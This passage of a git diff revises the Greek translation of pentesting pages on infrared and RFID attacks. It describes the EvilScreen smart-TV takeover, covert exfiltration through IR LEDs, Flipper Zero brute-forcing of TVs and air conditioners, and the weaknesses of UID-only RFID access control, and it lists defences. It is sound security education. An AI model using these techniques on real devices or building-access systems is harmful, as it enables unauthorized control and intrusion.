συγχρονισμένα**.\ -Αυτό θα αποτρέψει το να αυξηθεί η θερμοκρασία από 20ºC σε 21ºC με ένα τηλεχειριστήριο, και στη συνέχεια όταν χρησιμοποιηθεί ένα άλλο τηλεχειριστήριο, το οποίο έχει ακόμα τη θερμοκρασία ως 20ºC, να αυξηθεί περισσότερο η θερμοκρασία, θα "αυξηθεί" σε 21ºC (και όχι σε 22ºC νομίζοντας ότι είναι σε 21ºC). +Αυτό θα αποτρέψει το να ρυθμιστεί μια μηχανή σε 20ºC να αυξηθεί σε 21ºC με ένα τηλεχειριστήριο, και στη συνέχεια όταν χρησιμοποιηθεί ένα άλλο τηλεχειριστήριο, το οποίο έχει ακόμα τη θερμοκρασία σε 20ºC, να αυξηθεί περισσότερο η θερμοκρασία, θα "αυξηθεί" σε 21ºC (και όχι σε 22ºC νομίζοντας ότι είναι σε 21ºC). --- @@ -72,25 +72,26 @@ Μπορείτε να επιτεθείτε στην Υπέρυθρη με το Flipper Zero: + {{#ref}} flipper-zero/fz-infrared.md {{#endref}} -### Ανάληψη Smart-TV / Set-top Box (EvilScreen) +### Υποκατάσταση Smart-TV / Set-top Box (EvilScreen) -Πρόσφατη ακαδημαϊκή εργασία (EvilScreen, 2022) απέδειξε ότι **οι τηλεχειριστήρες πολλαπλών καναλιών που συνδυάζουν Υπέρυθρη με Bluetooth ή Wi-Fi μπορούν να καταχραστούν για να αναλάβουν πλήρως σύγχρονες smart-TVs**. Η επίθεση συνδυάζει κωδικούς υπηρεσίας IR υψηλής προνομίας με πιστοποιημένα πακέτα Bluetooth, παρακάμπτοντας την απομόνωση καναλιών και επιτρέποντας αυθαίρετες εκκινήσεις εφαρμογών, ενεργοποίηση μικροφώνου ή εργοστασιακή επαναφορά χωρίς φυσική πρόσβαση. Οκτώ mainstream τηλεοράσεις από διαφορετικούς προμηθευτές — συμπεριλαμβανομένου ενός μοντέλου Samsung που ισχυρίζεται ότι συμμορφώνεται με το ISO/IEC 27001 — επιβεβαιώθηκαν ευάλωτες. Η μείωση απαιτεί διορθώσεις firmware από τον προμηθευτή ή πλήρη απενεργοποίηση των μη χρησιμοποιούμενων δέκτων IR. +Πρόσφατη ακαδημαϊκή εργασία (EvilScreen, 2022) απέδειξε ότι **οι τηλεχειριστήρες πολλαπλών καναλιών που συνδυάζουν Υπέρυθρη με Bluetooth ή Wi-Fi μπορούν να καταχραστούν για να αναλάβουν πλήρως σύγχρονες smart-TVs**. Η επίθεση αλυσίδων υψηλής προνομιακής κωδικοποίησης IR με πιστοποιημένα πακέτα Bluetooth, παρακάμπτοντας την απομόνωση καναλιών και επιτρέποντας αυθαίρετες εκκινήσεις εφαρμογών, ενεργοποίηση μικροφώνου ή εργοστασιακή επαναφορά χωρίς φυσική πρόσβαση. Οκτώ mainstream τηλεοράσεις από διαφορετικούς προμηθευτές — συμπεριλαμβανομένου ενός μοντέλου Samsung που ισχυρίζεται συμμόρφωση με το ISO/IEC 27001 — επιβεβαιώθηκαν ευάλωτες. Η μείωση απαιτεί διορθώσεις firmware από τον προμηθευτή ή πλήρη απενεργοποίηση των μη χρησιμοποιούμενων δέκτων IR. ### Εξαγωγή Δεδομένων μέσω IR LEDs (οικογένεια aIR-Jumper) -Οι κάμερες ασφαλείας, οι δρομολογητές ή ακόμη και κακόβουλα USB sticks περιλαμβάνουν συχνά **LED υπέρυθρης νυχτερινής όρασης**. Η έρευνα δείχνει ότι το κακόβουλο λογισμικό μπορεί να τροποποιήσει αυτά τα LED (<10–20 kbit/s με απλή OOK) για να **εξάγει μυστικά μέσω τοίχων και παραθύρων** σε μια εξωτερική κάμερα τοποθετημένη δεκάδες μέτρα μακριά. Επειδή το φως είναι εκτός του ορατού φάσματος, οι χειριστές σπάνια το παρατηρούν. Αντεπίθετα μέτρα: +Οι κάμερες ασφαλείας, οι δρομολογητές ή ακόμη και κακόβουλα USB sticks περιλαμβάνουν συχνά **IR LEDs νυχτερινής όρασης**. Η έρευνα δείχνει ότι το κακόβουλο λογισμικό μπορεί να τροποποιήσει αυτά τα LEDs (<10–20 kbit/s με απλή OOK) για να **εξάγει μυστικά μέσω τοίχων και παραθύρων** σε μια εξωτερική κάμερα τοποθετημένη δεκάδες μέτρα μακριά. Επειδή το φως είναι εκτός του ορατού φάσματος, οι χειριστές σπάνια το παρατηρούν. Αντεπίθετα μέτρα: -* Φυσική ασπίδα ή αφαίρεση LED IR σε ευαίσθητες περιοχές -* Παρακολούθηση του κύκλου εργασίας LED κάμερας και της ακεραιότητας του firmware +* Φυσική ασπίδα ή αφαίρεση IR LEDs σε ευαίσθητες περιοχές +* Παρακολούθηση του κύκλου εργασίας LED της κάμερας και της ακεραιότητας του firmware * Εγκατάσταση φίλτρων IR-cut σε παράθυρα και κάμερες παρακολούθησης Ένας επιτιθέμενος μπορεί επίσης να χρησιμοποιήσει ισχυρούς προβολείς IR για να **διεισδύσει** εντολές στο δίκτυο αναβοσβήνοντας δεδομένα πίσω σε ανασφαλείς κάμερες. -### Μακροχρόνια Βίαιη Δύναμη & Επεκτεταμένα Πρωτόκολλα με Flipper Zero 1.0 +### Μακροχρόνια Βίαιη Δύναμη & Επεκτεταμένα Πρωτόκολλα με το Flipper Zero 1.0 Το firmware 1.0 (Σεπτέμβριος 2024) πρόσθεσε **δεκάδες επιπλέον πρωτόκολλα IR και προαιρετικά εξωτερικά ενισχυτικά modules**. Συνδυασμένο με τη λειτουργία βίαιης δύναμης καθολικού τηλεχειριστηρίου, ένα Flipper μπορεί να απενεργοποιήσει ή να επαναρυθμίσει τις περισσότερες δημόσιες τηλεοράσεις/κλιματιστικά από απόσταση έως 30 μ. χρησιμοποιώντας μια ισχυρή δίοδο. @@ -131,11 +132,11 @@ irsend SEND_ONCE samsung KEY_POWER * Απενεργοποιήστε ή καλύψτε τους δέκτες IR σε συσκευές που αναπτύσσονται σε δημόσιους χώρους όταν δεν απαιτείται. * Επιβάλλετε *ζευγάρωμα* ή κρυπτογραφικούς ελέγχους μεταξύ smart-TVs και τηλεχειριστηρίων; απομονώστε τους προνομιακούς "κωδικούς υπηρεσίας". * Εγκαταστήστε φίλτρα IR-cut ή ανιχνευτές συνεχούς κύματος γύρω από ταξινομημένες περιοχές για να σπάσετε οπτικά κρυφά κανάλια. -* Παρακολουθήστε την ακεραιότητα του firmware των καμερών/IoT συσκευών που εκθέτουν ελεγχόμενα LED IR. +* Παρακολουθήστε την ακεραιότητα του firmware των καμερών/IoT συσκευών που εκθέτουν ελεγχόμενα IR LEDs. ## Αναφορές - [Flipper Zero Infrared blog post](https://blog.flipperzero.one/infrared/) -- EvilScreen: Ανάληψη Smart TV μέσω μίμησης τηλεχειριστηρίου (arXiv 2210.03014) +- EvilScreen: Υποκατάσταση Smart TV μέσω μίμησης τηλεχειριστηρίου (arXiv 2210.03014) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md index 824d4c786..3532d1246 100644 --- a/src/todo/radio-hacking/pentesting-rfid.md +++ b/src/todo/radio-hacking/pentesting-rfid.md @@ -2,67 +2,67 @@ {{#include ../../banners/hacktricks-training.md}} -## Introduction +## Εισαγωγή **Η Αναγνώριση Ραδιοσυχνοτήτων (RFID)** είναι η πιο δημοφιλής λύση ραδιοσυχνοτήτων μικρής εμβέλειας. Χρησιμοποιείται συνήθως για την αποθήκευση και μετάδοση πληροφοριών που προσδιορίζουν μια οντότητα. -Ένα RFID tag μπορεί να βασίζεται σε **δική του πηγή ενέργειας (ενεργό)**, όπως μια ενσωματωμένη μπαταρία, ή να λαμβάνει την ενέργειά του από την κεραία ανάγνωσης χρησιμοποιώντας το ρεύμα **που προκαλείται από τα ληφθέντα ραδιοκύματα** (**παθητικό**). +Μια ετικέτα RFID μπορεί να βασίζεται σε **δική της πηγή ενέργειας (ενεργή)**, όπως μια ενσωματωμένη μπαταρία, ή να λαμβάνει ενέργεια από την κεραία ανάγνωσης χρησιμοποιώντας το ρεύμα **που προκαλείται από τα ληφθέντα ραδιοκύματα** (**παθητική**). -### Classes +### Κατηγορίες -Η EPCglobal χωρίζει τα RFID tags σε έξι κατηγορίες. Ένα tag σε κάθε κατηγορία έχει όλες τις δυνατότητες που αναφέρονται στην προηγούμενη κατηγορία, καθιστώντας το συμβατό με τις προηγούμενες. +Η EPCglobal χωρίζει τις ετικέτες RFID σε έξι κατηγορίες. Μια ετικέτα σε κάθε κατηγορία έχει όλες τις δυνατότητες που αναφέρονται στην προηγούμενη κατηγορία, καθιστώντας την συμβατή προς τα πίσω. -- **Class 0** tags είναι **παθητικά** tags που λειτουργούν σε **UHF** ζώνες. Ο προμηθευτής **τα προγραμματίζει εκ των προτέρων** στο εργοστάσιο παραγωγής. Ως αποτέλεσμα, **δεν μπορείτε να αλλάξετε** τις πληροφορίες που είναι αποθηκευμένες στη μνήμη τους. -- **Class 1** tags μπορούν επίσης να λειτουργούν σε **HF** ζώνες. Επιπλέον, μπορούν να **γραφούν μόνο μία φορά** μετά την παραγωγή. Πολλά Class 1 tags μπορούν επίσης να επεξεργαστούν **κυκλικούς ελέγχους πλεονασμού** (CRCs) των εντολών που λαμβάνουν. Οι CRCs είναι μερικά επιπλέον bytes στο τέλος των εντολών για ανίχνευση σφαλμάτων. -- **Class 2** tags μπορούν να **γραφούν πολλές φορές**. -- **Class 3** tags μπορούν να περιέχουν **ενσωματωμένους αισθητήρες** που μπορούν να καταγράφουν περιβαλλοντικές παραμέτρους, όπως η τρέχουσα θερμοκρασία ή η κίνηση του tag. Αυτά τα tags είναι **ημι-παθητικά**, επειδή αν και **έχουν** μια ενσωματωμένη πηγή ενέργειας, όπως μια ενσωματωμένη **μπαταρία**, **δεν μπορούν να ξεκινήσουν** ασύρματη **επικοινωνία** με άλλα tags ή αναγνώστες. -- **Class 4** tags μπορούν να ξεκινήσουν επικοινωνία με άλλα tags της ίδιας κατηγορίας, καθιστώντας τα **ενεργά tags**. -- **Class 5** tags μπορούν να παρέχουν **ενέργεια σε άλλα tags και να επικοινωνούν με όλες τις προηγούμενες κατηγορίες tags**. Τα Class 5 tags μπορούν να λειτουργούν ως **RFID αναγνώστες**. +- Οι ετικέτες **Class 0** είναι **παθητικές** ετικέτες που λειτουργούν σε **UHF** ζώνες. Ο προμηθευτής τις **προγραμματίζει εκ των προτέρων** στο εργοστάσιο παραγωγής. Ως αποτέλεσμα, **δεν μπορείτε να αλλάξετε** τις πληροφορίες που αποθηκεύονται στη μνήμη τους. +- Οι ετικέτες **Class 1** μπορούν επίσης να λειτουργούν σε **HF** ζώνες. Επιπλέον, μπορούν να **γραφούν μόνο μία φορά** μετά την παραγωγή. Πολλές ετικέτες Class 1 μπορούν επίσης να επεξεργάζονται **ελέγχους κυκλικής πλεονασματικότητας** (CRCs) των εντολών που λαμβάνουν. Οι CRCs είναι μερικά επιπλέον byte στο τέλος των εντολών για ανίχνευση σφαλμάτων. +- Οι ετικέτες **Class 2** μπορούν να **γραφούν πολλές φορές**. +- Οι ετικέτες **Class 3** μπορούν να περιέχουν **ενσωματωμένους αισθητήρες** που μπορούν να καταγράφουν περιβαλλοντικές παραμέτρους, όπως η τρέχουσα θερμοκρασία ή η κίνηση της ετικέτας. Αυτές οι ετικέτες είναι **ημι-παθητικές**, επειδή αν και **έχουν** μια ενσωματωμένη πηγή ενέργειας, όπως μια ενσωματωμένη **μπαταρία**, **δεν μπορούν να ξεκινήσουν** ασύρματη **επικοινωνία** με άλλες ετικέτες ή αναγνώστες. +- Οι ετικέτες **Class 4** μπορούν να ξεκινήσουν επικοινωνία με άλλες ετικέτες της ίδιας κατηγορίας, καθιστώντας τις **ενεργές ετικέτες**. +- Οι ετικέτες **Class 5** μπορούν να παρέχουν **ενέργεια σε άλλες ετικέτες και να επικοινωνούν με όλες τις προηγούμενες κατηγορίες ετικετών**. Οι ετικέτες Class 5 μπορούν να λειτουργούν ως **αναγνώστες RFID**. -### Information Stored in RFID Tags +### Πληροφορίες που Αποθηκεύονται σε Ετικέτες RFID -Η μνήμη ενός RFID tag συνήθως αποθηκεύει τέσσερις τύπους δεδομένων: τα **δεδομένα ταυτοποίησης**, που **προσδιορίζουν** την **οντότητα** στην οποία είναι προσαρτημένο το tag (αυτά τα δεδομένα περιλαμβάνουν πεδία που ορίζονται από τον χρήστη, όπως τραπεζικοί λογαριασμοί); τα **συμπληρωματικά δεδομένα**, που παρέχουν **περαιτέρω** **λεπτομέρειες** σχετικά με την οντότητα; τα **δεδομένα ελέγχου**, που χρησιμοποιούνται για την εσωτερική **διαμόρφωση** του tag; και τα **δεδομένα κατασκευαστή** του tag, που περιέχουν τον Μοναδικό Αναγνωριστή του tag (**UID**) και λεπτομέρειες σχετικά με την **παραγωγή**, **τύπο** και **προμηθευτή** του tag. Θα βρείτε τους πρώτους δύο τύπους δεδομένων σε όλα τα εμπορικά tags; οι τελευταίοι δύο μπορεί να διαφέρουν ανάλογα με τον προμηθευτή του tag. +Η μνήμη μιας ετικέτας RFID αποθηκεύει συνήθως τέσσερις τύπους δεδομένων: τα **δεδομένα ταυτοποίησης**, που **προσδιορίζουν** την **οντότητα** στην οποία είναι συνδεδεμένη η ετικέτα (αυτά τα δεδομένα περιλαμβάνουν πεδία που ορίζονται από τον χρήστη, όπως τραπεζικοί λογαριασμοί); τα **συμπληρωματικά δεδομένα**, που παρέχουν **περαιτέρω** **λεπτομέρειες** σχετικά με την οντότητα; τα **δεδομένα ελέγχου**, που χρησιμοποιούνται για την εσωτερική **διαμόρφωση** της ετικέτας; και τα **δεδομένα κατασκευαστή** της ετικέτας, που περιέχουν τον Μοναδικό Αναγνωριστικό της ετικέτας (**UID**) και λεπτομέρειες σχετικά με την **παραγωγή**, **τύπο** και **προμηθευτή** της ετικέτας. Θα βρείτε τους πρώτους δύο τύπους δεδομένων σε όλες τις εμπορικές ετικέτες; οι τελευταίοι δύο μπορεί να διαφέρουν ανάλογα με τον προμηθευτή της ετικέτας. -Το πρότυπο ISO καθορίζει την τιμή του Αναγνωριστικού Οικογένειας Εφαρμογών (**AFI**), έναν κωδικό που υποδεικνύει τον **τύπο αντικειμένου** στο οποίο ανήκει το tag. Ένα άλλο σημαντικό μητρώο, που επίσης καθορίζεται από το ISO, είναι το Αναγνωριστικό Μορφής Αποθήκευσης Δεδομένων (**DSFID**), το οποίο καθορίζει την **λογική οργάνωση των δεδομένων χρήστη**. +Το πρότυπο ISO καθορίζει την τιμή του Αναγνωριστικού Οικογένειας Εφαρμογών (**AFI**), έναν κωδικό που υποδεικνύει τον **τύπο αντικειμένου** στο οποίο ανήκει η ετικέτα. Ένα άλλο σημαντικό μητρώο, που επίσης καθορίζεται από το ISO, είναι το Αναγνωριστικό Μορφής Αποθήκευσης Δεδομένων (**DSFID**), το οποίο καθορίζει την **λογική οργάνωση των δεδομένων χρήστη**. -Οι περισσότερες **ασφαλιστικές ρυθμίσεις** RFID έχουν μηχανισμούς που **περιορίζουν** τις **λειτουργίες ανάγνωσης** ή **γραφής** σε κάθε μπλοκ μνήμης χρήστη και στους ειδικούς μητρώους που περιέχουν τις τιμές AFI και DSFID. Αυτοί οι **μηχανισμοί κλειδώματος** χρησιμοποιούν δεδομένα που είναι αποθηκευμένα στη μνήμη ελέγχου και έχουν **προκαθορισμένους κωδικούς πρόσβασης** που έχουν ρυθμιστεί από τον προμηθευτή, αλλά επιτρέπουν στους κατόχους των tags να **ρυθμίσουν προσαρμοσμένους κωδικούς πρόσβασης**. +Οι περισσότερες **ρυθμίσεις ασφαλείας** RFID διαθέτουν μηχανισμούς που **περιορίζουν** τις **λειτουργίες ανάγνωσης** ή **γραφής** σε κάθε μπλοκ μνήμης χρήστη και στους ειδικούς καταλόγους που περιέχουν τις τιμές AFI και DSFID. Αυτοί οι **μηχανισμοί κλειδώματος** χρησιμοποιούν δεδομένα που αποθηκεύονται στη μνήμη ελέγχου και έχουν **προεπιλεγμένους κωδικούς πρόσβασης** προρυθμισμένους από τον προμηθευτή, αλλά επιτρέπουν στους κατόχους των ετικετών να **ρυθμίζουν προσαρμοσμένους κωδικούς πρόσβασης**. -### Low & High frequency tags comparison +### Σύγκριση Ετικετών Χαμηλής & Υψηλής Συχνότητας
-## Low-Frequency RFID Tags (125kHz) +## Ετικέτες RFID Χαμηλής Συχνότητας (125kHz) -**Τα low-frequency tags** χρησιμοποιούνται συχνά σε συστήματα που **δεν απαιτούν υψηλή ασφάλεια**: πρόσβαση σε κτίρια, κλειδιά διασύνδεσης, κάρτες γυμναστηρίου κ.λπ. Λόγω της μεγαλύτερης εμβέλειάς τους, είναι βολικά για χρήση σε πληρωμένα πάρκινγκ: ο οδηγός δεν χρειάζεται να φέρει την κάρτα κοντά στον αναγνώστη, καθώς ενεργοποιείται από μεγαλύτερη απόσταση. Ταυτόχρονα, τα low-frequency tags είναι πολύ πρωτόγονα, έχουν χαμηλό ρυθμό μεταφοράς δεδομένων. Για αυτόν τον λόγο, είναι αδύνατο να υλοποιηθεί πολύπλοκη αμφίδρομη μεταφορά δεδομένων για πράγματα όπως η διατήρηση υπολοίπου και η κρυπτογραφία. Τα low-frequency tags μεταδίδουν μόνο το σύντομο ID τους χωρίς κανένα μέσο αυθεντικοποίησης. +Οι **ετικέτες χαμηλής συχνότητας** χρησιμοποιούνται συχνά σε συστήματα που **δεν απαιτούν υψηλή ασφάλεια**: πρόσβαση σε κτίρια, κλειδιά διασύνδεσης, κάρτες μέλους γυμναστηρίου, κ.λπ. Λόγω της μεγαλύτερης εμβέλειάς τους, είναι βολικές για χρήση σε πληρωμένα πάρκινγκ: ο οδηγός δεν χρειάζεται να φέρει την κάρτα κοντά στον αναγνώστη, καθώς ενεργοποιείται από μεγαλύτερη απόσταση. Ταυτόχρονα, οι ετικέτες χαμηλής συχνότητας είναι πολύ πρωτόγονες, έχουν χαμηλό ρυθμό μεταφοράς δεδομένων. Για αυτόν τον λόγο, είναι αδύνατο να υλοποιηθεί πολύπλοκη αμφίδρομη μεταφορά δεδομένων για πράγματα όπως η διατήρηση υπολοίπου και η κρυπτογραφία. Οι ετικέτες χαμηλής συχνότητας μεταδίδουν μόνο το σύντομο ID τους χωρίς κανένα μέσο αυθεντικοποίησης. -Αυτές οι συσκευές βασίζονται στην **παθητική** **RFID** τεχνολογία και λειτουργούν σε **εύρος 30 kHz έως 300 kHz**, αν και είναι πιο συνηθισμένο να χρησιμοποιούνται 125 kHz έως 134 kHz: +Αυτές οι συσκευές βασίζονται στην **παθητική** **τεχνολογία RFID** και λειτουργούν σε **εύρος 30 kHz έως 300 kHz**, αν και είναι πιο συνηθισμένο να χρησιμοποιούνται 125 kHz έως 134 kHz: -- **Μεγάλη εμβέλεια** — η χαμηλότερη συχνότητα μεταφράζεται σε μεγαλύτερη εμβέλεια. Υπάρχουν μερικοί αναγνώστες EM-Marin και HID, οι οποίοι λειτουργούν από απόσταση έως και ενός μέτρου. Αυτοί χρησιμοποιούνται συχνά σε πάρκινγκ αυτοκινήτων. -- **Πρωτόγονο πρωτόκολλο** — λόγω του χαμηλού ρυθμού μεταφοράς δεδομένων, αυτά τα tags μπορούν να μεταδώσουν μόνο το σύντομο ID τους. Στις περισσότερες περιπτώσεις, τα δεδομένα δεν είναι αυθεντικοποιημένα και δεν προστατεύονται με κανέναν τρόπο. Μόλις η κάρτα είναι εντός της εμβέλειας του αναγνώστη, αρχίζει απλώς να μεταδίδει το ID της. +- **Μεγάλη Εμβέλεια** — η χαμηλότερη συχνότητα μεταφράζεται σε μεγαλύτερη εμβέλεια. Υπάρχουν μερικοί αναγνώστες EM-Marin και HID, οι οποίοι λειτουργούν από απόσταση έως και ενός μέτρου. Αυτοί χρησιμοποιούνται συχνά σε πάρκινγκ αυτοκινήτων. +- **Πρωτόγονο πρωτόκολλο** — λόγω του χαμηλού ρυθμού μεταφοράς δεδομένων, αυτές οι ετικέτες μπορούν να μεταδώσουν μόνο το σύντομο ID τους. Στις περισσότερες περιπτώσεις, τα δεδομένα δεν είναι αυθεντικοποιημένα και δεν προστατεύονται με κανέναν τρόπο. Μόλις η κάρτα είναι εντός της εμβέλειας του αναγνώστη, αρχίζει απλώς να μεταδίδει το ID της. - **Χαμηλή ασφάλεια** — Αυτές οι κάρτες μπορούν να αντιγραφούν εύκολα ή ακόμη και να διαβαστούν από την τσέπη κάποιου άλλου λόγω της πρωτόγονης φύσης του πρωτοκόλλου. **Δημοφιλή πρωτόκολλα 125 kHz:** - **EM-Marin** — EM4100, EM4102. Το πιο δημοφιλές πρωτόκολλο στην ΚΑΚ. Μπορεί να διαβαστεί από περίπου ένα μέτρο λόγω της απλότητας και της σταθερότητάς του. - **HID Prox II** — πρωτόκολλο χαμηλής συχνότητας που εισήχθη από την HID Global. Αυτό το πρωτόκολλο είναι πιο δημοφιλές στις δυτικές χώρες. Είναι πιο περίπλοκο και οι κάρτες και οι αναγνώστες για αυτό το πρωτόκολλο είναι σχετικά ακριβοί. -- **Indala** — πολύ παλιό πρωτόκολλο χαμηλής συχνότητας που εισήχθη από την Motorola και αργότερα αποκτήθηκε από την HID. Είναι λιγότερο πιθανό να το συναντήσετε στην πραγματικότητα σε σύγκριση με τα προηγούμενα δύο, καθώς βγαίνει από τη χρήση. +- **Indala** — πολύ παλιό πρωτόκολλο χαμηλής συχνότητας που εισήχθη από την Motorola και αργότερα αποκτήθηκε από την HID. Είναι λιγότερο πιθανό να το συναντήσετε στην πραγματικότητα σε σύγκριση με τα προηγούμενα δύο, καθώς αποσύρεται από τη χρήση. -Στην πραγματικότητα, υπάρχουν πολύ περισσότερα πρωτόκολλα χαμηλής συχνότητας. Αλλά όλα χρησιμοποιούν την ίδια διαμόρφωση στο φυσικό επίπεδο και μπορεί να θεωρηθούν, με έναν ή άλλο τρόπο, μια παραλλαγή αυτών που αναφέρονται παραπάνω. +Στην πραγματικότητα, υπάρχουν πολύ περισσότερα πρωτόκολλα χαμηλής συχνότητας. Αλλά όλα χρησιμοποιούν την ίδια διαμόρφωση στο φυσικό επίπεδο και μπορεί να θεωρηθούν, με κάποιον τρόπο ή άλλο, μια παραλλαγή αυτών που αναφέρονται παραπάνω. -### Attack +### Επίθεση -Μπορείτε να **επιτεθείτε σε αυτά τα Tags με το Flipper Zero**: +Μπορείτε να **επιτεθείτε σε αυτές τις ετικέτες με το Flipper Zero**: {{#ref}} flipper-zero/fz-125khz-rfid.md {{#endref}} -## High-Frequency RFID Tags (13.56 MHz) +## Ετικέτες RFID Υψηλής Συχνότητας (13.56 MHz) -**Τα high-frequency tags** χρησιμοποιούνται για μια πιο σύνθετη αλληλεπίδραση αναγνώστη-tag όταν χρειάζεστε κρυπτογραφία, μεγάλη αμφίδρομη μεταφορά δεδομένων, αυθεντικοποίηση κ.λπ.\ +Οι **ετικέτες υψηλής συχνότητας** χρησιμοποιούνται για μια πιο σύνθετη αλληλεπίδραση αναγνώστη-ετικέτας όταν χρειάζεστε κρυπτογραφία, μεγάλη αμφίδρομη μεταφορά δεδομένων, αυθεντικοποίηση, κ.λπ.\ Συνήθως βρίσκονται σε τραπεζικές κάρτες, δημόσιες συγκοινωνίες και άλλες ασφαλείς κάρτες. -**Τα high-frequency 13.56 MHz tags είναι ένα σύνολο προτύπων και πρωτοκόλλων**. Συνήθως αναφέρονται ως [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), αλλά αυτό δεν είναι πάντα σωστό. Το βασικό σύνολο πρωτοκόλλων που χρησιμοποιείται σε φυσικά και λογικά επίπεδα είναι το ISO 14443. Τα πρωτόκολλα υψηλού επιπέδου, καθώς και τα εναλλακτικά πρότυπα (όπως το ISO 19092), βασίζονται σε αυτό. Πολλοί άνθρωποι αναφέρονται σε αυτήν την τεχνολογία ως **Επικοινωνία κοντινού πεδίου (NFC)**, ένας όρος για συσκευές που λειτουργούν στη συχνότητα 13.56 MHz. +**Οι ετικέτες υψηλής συχνότητας 13.56 MHz είναι ένα σύνολο προτύπων και πρωτοκόλλων**. Συνήθως αναφέρονται ως [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), αλλά αυτό δεν είναι πάντα σωστό. Το βασικό σύνολο πρωτοκόλλων που χρησιμοποιείται σε φυσικό και λογικό επίπεδο είναι το ISO 14443. Τα πρωτόκολλα υψηλού επιπέδου, καθώς και εναλλακτικά πρότυπα (όπως το ISO 19092), βασίζονται σε αυτό. Πολλοί άνθρωποι αναφέρονται σε αυτήν την τεχνολογία ως **Επικοινωνία Εγγύς Πεδίο (NFC)**, ένας όρος για συσκευές που λειτουργούν στη συχνότητα 13.56 MHz.
@@ -70,17 +70,17 @@ flipper-zero/fz-125khz-rfid.md Το Flipper μπορεί να αλληλεπιδράσει τόσο με το πρωτόκολλο ISO 14443 χαμηλού επιπέδου, όσο και με το πρωτόκολλο μεταφοράς δεδομένων Mifare Ultralight και EMV που χρησιμοποιούνται σε τραπεζικές κάρτες. Εργαζόμαστε για την προσθήκη υποστήριξης για το Mifare Classic και το NFC NDEF. Μια λεπτομερής ματιά στα πρωτόκολλα και τα πρότυπα που συνθέτουν το NFC αξίζει ένα ξεχωριστό άρθρο το οποίο σχεδιάζουμε να δημοσιεύσουμε αργότερα. -Όλες οι κάρτες υψηλής συχνότητας που βασίζονται στο πρότυπο ISO 14443-A έχουν έναν μοναδικό αναγνωριστικό τσιπ. Λειτουργεί ως ο σειριακός αριθμός της κάρτας, όπως η διεύθυνση MAC μιας κάρτας δικτύου. **Συνήθως, το UID είναι 4 ή 7 bytes**, αλλά σπάνια μπορεί να φτάσει **έως 10**. Τα UIDs δεν είναι μυστικά και είναι εύκολα αναγνώσιμα, **μερικές φορές ακόμη και εκτυπωμένα στην ίδια την κάρτα**. +Όλες οι κάρτες υψηλής συχνότητας που βασίζονται στο πρότυπο ISO 14443-A έχουν έναν μοναδικό αναγνωριστικό τσιπ. Λειτουργεί ως ο σειριακός αριθμός της κάρτας, όπως η διεύθυνση MAC μιας κάρτας δικτύου. **Συνήθως, το UID είναι 4 ή 7 byte**, αλλά σπάνια μπορεί να φτάσει **έως 10**. Τα UIDs δεν είναι μυστικά και είναι εύκολα αναγνώσιμα, **μερικές φορές ακόμη και εκτυπωμένα στην ίδια την κάρτα**. -Υπάρχουν πολλά συστήματα ελέγχου πρόσβασης που βασίζονται στο UID για να **αυθεντικοποιούν και να παρέχουν πρόσβαση**. Μερικές φορές αυτό συμβαίνει **ακόμη** και όταν τα RFID tags **υποστηρίζουν κρυπτογραφία**. Αυτή η **κακή χρήση** τα κατεβάζει στο επίπεδο των ανόητων **125 kHz καρτών** όσον αφορά την **ασφάλεια**. Οι εικονικές κάρτες (όπως το Apple Pay) χρησιμοποιούν ένα δυναμικό UID ώστε οι κάτοχοι τηλεφώνων να μην μπορούν να ανοίγουν πόρτες με την εφαρμογή πληρωμής τους. +Υπάρχουν πολλά συστήματα ελέγχου πρόσβασης που βασίζονται στο UID για να **αυθεντικοποιούν και να παρέχουν πρόσβαση**. Μερικές φορές αυτό συμβαίνει **ακόμη** και όταν οι ετικέτες RFID **υποστηρίζουν κρυπτογραφία**. Αυτή η **κακή χρήση** τις κατεβάζει στο επίπεδο των ανόητων **καρτών 125 kHz** όσον αφορά την **ασφάλεια**. Οι εικονικές κάρτες (όπως το Apple Pay) χρησιμοποιούν ένα δυναμικό UID ώστε οι κάτοχοι τηλεφώνων να μην μπορούν να ανοίγουν πόρτες με την εφαρμογή πληρωμών τους. -- **Χαμηλή εμβέλεια** — οι κάρτες υψηλής συχνότητας είναι σχεδιασμένες έτσι ώστε να πρέπει να τοποθετούνται κοντά στον αναγνώστη. Αυτό βοηθά επίσης στην προστασία της κάρτας από μη εξουσιοδοτημένες αλληλεπιδράσεις. Η μέγιστη εμβέλεια ανάγνωσης που καταφέραμε να επιτύχουμε ήταν περίπου 15 cm, και αυτό ήταν με ειδικά κατασκευασμένους αναγνώστες μεγάλης εμβέλειας. -- **Προηγμένα πρωτόκολλα** — οι ταχύτητες μεταφοράς δεδομένων έως 424 kbps επιτρέπουν πολύπλοκα πρωτόκολλα με πλήρη αμφίδρομη μεταφορά δεδομένων. Πράγμα που με τη σειρά του **επιτρέπει κρυπτογραφία**, μεταφορά δεδομένων κ.λπ. +- **Χαμηλή εμβέλεια** — οι κάρτες υψηλής συχνότητας σχεδιάζονται ειδικά ώστε να πρέπει να τοποθετούνται κοντά στον αναγνώστη. Αυτό βοηθά επίσης στην προστασία της κάρτας από μη εξουσιοδοτημένες αλληλεπιδράσεις. Η μέγιστη εμβέλεια ανάγνωσης που καταφέραμε να επιτύχουμε ήταν περίπου 15 cm, και αυτό ήταν με ειδικά κατασκευασμένους αναγνώστες μεγάλης εμβέλειας. +- **Προηγμένα πρωτόκολλα** — οι ταχύτητες μεταφοράς δεδομένων έως 424 kbps επιτρέπουν πολύπλοκα πρωτόκολλα με πλήρη αμφίδρομη μεταφορά δεδομένων. Πράγμα που με τη σειρά του **επιτρέπει κρυπτογραφία**, μεταφορά δεδομένων, κ.λπ. - **Υψηλή ασφάλεια** — οι κάρτες επαφής υψηλής συχνότητας δεν υστερούν σε τίποτα σε σχέση με τις έξυπνες κάρτες. Υπάρχουν κάρτες που υποστηρίζουν κρυπτογραφικά ισχυρούς αλγόριθμους όπως το AES και υλοποιούν ασύμμετρη κρυπτογραφία. -### Attack +### Επίθεση -Μπορείτε να **επιτεθείτε σε αυτά τα Tags με το Flipper Zero**: +Μπορείτε να **επιτεθείτε σε αυτές τις ετικέτες με το Flipper Zero**: {{#ref}} flipper-zero/fz-nfc.md @@ -92,9 +92,9 @@ flipper-zero/fz-nfc.md proxmark-3.md {{#endref}} -### Building a Portable HID MaxiProx 125 kHz Mobile Cloner +### Δημιουργία Φορητού Κλωνοποιητή HID MaxiProx 125 kHz -Αν 